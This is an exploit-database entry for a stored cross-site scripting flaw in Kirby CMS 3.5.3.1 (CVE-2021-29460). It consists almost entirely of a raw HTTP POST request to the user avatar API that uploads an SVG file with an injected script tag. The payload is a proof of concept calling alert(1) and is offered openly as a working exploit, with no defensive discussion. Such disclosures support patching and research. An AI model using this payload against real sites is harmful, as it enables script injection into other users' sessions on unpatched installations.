# Exploit Title: Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS) # Date: 21-04-2021 # Exploit Author: Sreenath Raghunathan # Vendor Homepage: https://getkirby.com/ # Software Link: https://github.com/getkirby/kirby # Version: 3.5.3.1(REQUIRED) # CVE : CVE-2021-29460 POST /api/users/<userid>/avatar HTTP/1.1 Host: <host> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-CSRF: <redacted> Content-Type: multipart/form-data; boundary=---------------------------286121627839893676321700902916 Content-Length: 563 Connection: close Cookie: <redacted> -----------------------------286121627839893676321700902916 Content-Disposition: form-data; name="file"; filename="svgxss.svg" Content-Type: image/svg+xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,500 500,0" fill="#009900" stroke="#004400"/> "><script>alert(1)</script> </svg> -----------------------------286121627839893676321700902916--